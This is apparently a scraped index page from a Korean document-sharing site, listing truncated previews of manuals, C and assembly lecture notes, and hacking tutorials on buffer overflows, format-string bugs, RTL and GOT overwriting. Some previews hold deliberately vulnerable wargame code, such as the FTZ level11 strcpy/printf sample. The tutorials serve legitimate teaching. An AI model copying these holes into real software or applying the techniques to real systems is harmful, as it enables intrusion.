SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 (Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 비트연산자 1 1 비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 진수법! 2, 10, 16, 8! 2 : 0~1 ( )! 10 : 0~9 ( )! 16 : 0~9, 9 a, b,

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다.

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다. C 언어와 Assembly Language 을사용한 Programming 20011.9 경희대학교조원경 1. AVR Studio 에서사용하는 Assembler AVR Studio에서는 GCC Assembler와 AVR Assmbler를사용한다. A. GCC Assembler : GCC를사용하는경우 (WinAVR 등을사용하는경우 ) 사용할수있다. New Project

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

Microsoft PowerPoint - comp_prac_081223_2.pptx

Microsoft PowerPoint - comp_prac_081223_2.pptx Computer Programming Practice (2008 Winter) Practice 2 기본 Unix/Linux 명령어숙지 2008. 12. 23 Contents Linux commands Basic commands File and Directory User Data Filtering Process Etc Conclusion & Recommended

More information

JVM 메모리구조

JVM 메모리구조 조명이정도면괜찮조! 주제 JVM 메모리구조 설미라자료조사, 자료작성, PPT 작성, 보고서작성. 발표. 조장. 최지성자료조사, 자료작성, PPT 작성, 보고서작성. 발표. 조원 이용열자료조사, 자료작성, PPT 작성, 보고서작성. 이윤경 자료조사, 자료작성, PPT작성, 보고서작성. 이수은 자료조사, 자료작성, PPT작성, 보고서작성. 발표일 2013. 05.

More information

ABC 11장

ABC 11장 12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

lecture4(6.범용IO).hwp

lecture4(6.범용IO).hwp 제 2 부 C-언어를 사용한 마이크로컨트롤러 활용기초 66 C-언어는 수학계산을 위해 개발된 FORTRAN 같은 고급언어들과는 달 리 Unix 운영체제를 개발하면서 같이 개발된 고급언어이다. 운영체제의 특성상 C-언어는 다른 고급언어에 비해 컴퓨터의 하드웨어를 직접 제어할 수 있는 능력이 탁월하여 마이크로프로세서의 프로그램에 있어서 어셈블 리와 더불어 가장

More information

1217 WebTrafMon II

1217 WebTrafMon II (1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729> 8주차중간고사 ( 인터럽트및 A/D 변환기문제및풀이 ) Next-Generation Networks Lab. 외부입력인터럽트예제 문제 1 포트 A 의 7-segment 에초시계를구현한다. Tact 스위치 SW3 을 CPU 보드의 PE4 에연결한다. 그리고, SW3 을누르면하강 에지에서초시계가 00 으로초기화된다. 동시에 Tact 스위치 SW4 를 CPU 보드의

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 4 장 : 연산자 2012 년 이은주 학습목표 수식의개념과연산자및피연산자에대한학습 C 의알아보기 연산자의우선순위와결합방향에대하여알아보기 2 목차 연산자의기본개념 수식 연산자와피연산자 산술연산자 / 증감연산자 관계연산자 / 논리연산자 비트연산자 / 대입연산자연산자의우선순위와결합방향 조건연산자 / 형변환연산자 연산자의우선순위 연산자의결합방향

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

Microsoft PowerPoint - o8.pptx

Microsoft PowerPoint - o8.pptx 메모리보호 (Memory Protection) 메모리보호를위해 page table entry에 protection bit와 valid bit 추가 Protection bits read-write / read-only / executable-only 정의 page 단위의 memory protection 제공 Valid bit (or valid-invalid bit)

More information

경우 1) 80GB( 원본 ) => 2TB( 복사본 ), 원본 80GB 는 MBR 로디스크초기화하고 NTFS 로포맷한경우 복사본 HDD 도 MBR 로디스크초기화되고 80GB 만큼포맷되고나머지영역 (80GB~ 나머지부분 ) 은할당되지않음 으로나온다. A. Window P

경우 1) 80GB( 원본 ) => 2TB( 복사본 ), 원본 80GB 는 MBR 로디스크초기화하고 NTFS 로포맷한경우 복사본 HDD 도 MBR 로디스크초기화되고 80GB 만큼포맷되고나머지영역 (80GB~ 나머지부분 ) 은할당되지않음 으로나온다. A. Window P Duplicator 는기본적으로원본하드디스크를빠르게복사본하드디스크에복사하는기능을하는것입니다.. 복사본 하드디스크가원본하드디스크와똑같게하는것을목적으로하는것이어서저용량에서고용량으로복사시몇 가지문제점이발생할수있습니다. 하드디스크는사용하려면, 디스크초기화를한후에포맷을해야사용가능합니다. Windows PC는 MBR과 GPT 2 개중에 1개로초기화합니다. -Windows

More information

BufferOverflow on Solaris Sparc

BufferOverflow on Solaris Sparc BufferOverflow on Solaris Sparc by Tyger (nobody4@empal.com) 1. 서문이문서에서는 Solaris Sparc에서의버퍼오버플로우에대해다룰것이다. 버퍼오버플로우에대한개념은이미알고있는걸로간주하고, Intel x86에서의버퍼오버플로우와차이점에중점을두고설명한다. 참고로 Sparc 머신이없어서아래의환경에서만테스트한것이므로다른환경에선이내용과다른결과가나올수도있다.

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

컴파일러

컴파일러 YACC 응용예 Desktop Calculator 7/23 Lex 입력 수식문법을위한 lex 입력 : calc.l %{ #include calc.tab.h" %} %% [0-9]+ return(number) [ \t] \n return(0) \+ return('+') \* return('*'). { printf("'%c': illegal character\n",

More information

Figure 5.01

Figure 5.01 Chapter 4: Threads Yoon-Joong Kim Hanbat National University, Computer Engineering Department Chapter 4: Multithreaded Programming Overview Multithreading Models Thread Libraries Threading Issues Operating

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

Microsoft PowerPoint - additional01.ppt [호환 모드]

Microsoft PowerPoint - additional01.ppt [호환 모드] 1.C 기반의 C++ part 1 함수 오버로딩 (overloading) 디폴트매개변수 (default parameter) 인-라인함수 (in-line function) 이름공간 (namespace) Jong Hyuk Park 함수 Jong Hyuk Park 함수오버로딩 (overloading) 함수오버로딩 (function overloading) C++ 언어에서는같은이름을가진여러개의함수를정의가능

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture1 Malware Analysis #1 Agenda 악성코드정적분석 악성코드분석 악성코드정적분석 정적분석 임의의코드또는응용프로그램을실행하지않고분석 ASCII 문자열 (ex. URL) API 리스트 Packing VT 기타등등 정적분석 : 파일식별 악성으로의심되는파일의형태식별 file

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

02 C h a p t e r Java

02 C h a p t e r Java 02 C h a p t e r Java Bioinformatics in J a va,, 2 1,,,, C++, Python, (Java),,, (http://wwwbiojavaorg),, 13, 3D GUI,,, (Java programming language) (Sun Microsystems) 1995 1990 (green project) TV 22 CHAPTER

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

BOF Foundation.doc

BOF Foundation.doc 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

Microsoft PowerPoint APUE(Intro).ppt

Microsoft PowerPoint APUE(Intro).ppt 컴퓨터특강 () [Ch. 1 & Ch. 2] 2006 년봄학기 문양세강원대학교컴퓨터과학과 APUE 강의목적 UNIX 시스템프로그래밍 file, process, signal, network programming UNIX 시스템의체계적이해 시스템프로그래밍능력향상 Page 2 1 APUE 강의동기 UNIX 는인기있는운영체제 서버시스템 ( 웹서버, 데이터베이스서버

More information

untitled

untitled Embedded System Lab. II Embedded System Lab. II 2 RTOS Hard Real-Time vs Soft Real-Time RTOS Real-Time, Real-Time RTOS General purpose system OS H/W RTOS H/W task Hard Real-Time Real-Time System, Hard

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx To be an Android Expert 문양세강원대학교 IT 대학컴퓨터학부 Eclipse (IDE) JDK Android SDK with ADT IDE: Integrated Development Environment JDK: Java Development Kit (Java SDK) ADT: Android Development Tools 2 JDK 설치 Eclipse

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture3-2 Malware Analysis #3-2 Agenda 안드로이드악성코드분석 악성코드분석 안드로이드악성코드정적분석 APK 추출 #1 adb 명령 안드로이드에설치된패키지리스트추출 adb shell pm list packages v0nui-macbook-pro-2:lecture3 v0n$

More information

Microsoft PowerPoint - chap06-1Array.ppt

Microsoft PowerPoint - chap06-1Array.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-1 참고자료 배열 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 배열의선언과사용 같은형태의자료형이많이필요할때배열을사용하면효과적이다. 배열의선언 배열의사용 배열과반복문 배열의초기화 유연성있게배열다루기 한빛미디어

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2

More information

Microsoft PowerPoint - 00_(C_Programming)_(Korean)_Computer_Systems

Microsoft PowerPoint - 00_(C_Programming)_(Korean)_Computer_Systems C Programming 컴퓨터시스템 (Computer Systems) Seo, Doo-Ok Clickseo.com clickseo@gmail.com 목 차 컴퓨터시스템 프로그래밍언어 2 컴퓨터시스템 컴퓨터시스템 컴퓨터하드웨어 컴퓨터소프트웨어 프로그래밍언어 3 컴퓨터시스템 컴퓨터시스템 하드웨어 : 물리적인장비 소프트웨어 : 프로그램 ( 명령어 ) 들의집합 Computer

More information

Fedora Core 3,4,5 stack overflow.docx

Fedora Core 3,4,5 stack overflow.docx Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It

More information

untitled

untitled 9 hamks@dongguk.ac.kr : Source code Assembly language code x = a + b; ld a, %r1 ld b, %r2 add %r1, %r2, %r3 st %r3, x (Assembler) (bit pattern) (machine code) CPU security (code generator).. (Instruction

More information

Here is a "PLDWorld.com"... // EXCALIBUR... // Additional Resources // µc/os-ii... Page 1 of 23 Additional Resources: µc/os-ii Author: Source: HiTEL D

Here is a PLDWorld.com... // EXCALIBUR... // Additional Resources // µc/os-ii... Page 1 of 23 Additional Resources: µc/os-ii Author: Source: HiTEL D Page 1 of 23 Additional Resources: µc/os-ii Author: Source: HiTEL Digital Sig Date: 2004929 µ (1) uc/os-ii RTOS uc/os-ii EP7209 uc/os-ii, EP7209 EP7209,, CPU ARM720 Core CPU ARM7 CPU wwwnanowitcom10 '

More information

학번 : 이름 : 1. 다음파일트리구조를가진유닉스시스템이있다고가정하자. / /bin/ /home/ /home/taesoo/ /usr/ /usr/lib/ /usr/local/lib /media 모든폴더에파일이하나도없다고가정했을때사용자가터미널에서다음 ls 명령입력시화면출력

학번 : 이름 : 1. 다음파일트리구조를가진유닉스시스템이있다고가정하자. / /bin/ /home/ /home/taesoo/ /usr/ /usr/lib/ /usr/local/lib /media 모든폴더에파일이하나도없다고가정했을때사용자가터미널에서다음 ls 명령입력시화면출력 학번 : 이름 : 1. 다음파일트리구조를가진유닉스시스템이있다고가정하자. / /bin/ /home/ /home/taesoo/ /usr/ /usr/lib/ /usr/local/lib /media 모든폴더에파일이하나도없다고가정했을때사용자가터미널에서다음 ls 명령입력시화면출력을예측하시오. $ cd /usr $ ls..? $ ls.? 2. 다음그림은어떤프로세스가다음코드를수행했다는가정에서도시되었다.

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

게시판 스팸 실시간 차단 시스템

게시판 스팸 실시간 차단 시스템 오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

Microsoft PowerPoint - chap04-연산자.pptx

Microsoft PowerPoint - chap04-연산자.pptx int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); } 1 학습목표 수식의 개념과 연산자, 피연산자에 대해서 알아본다. C의 를 알아본다. 연산자의 우선 순위와 결합 방향에

More information

T100MD+

T100MD+ User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+

More information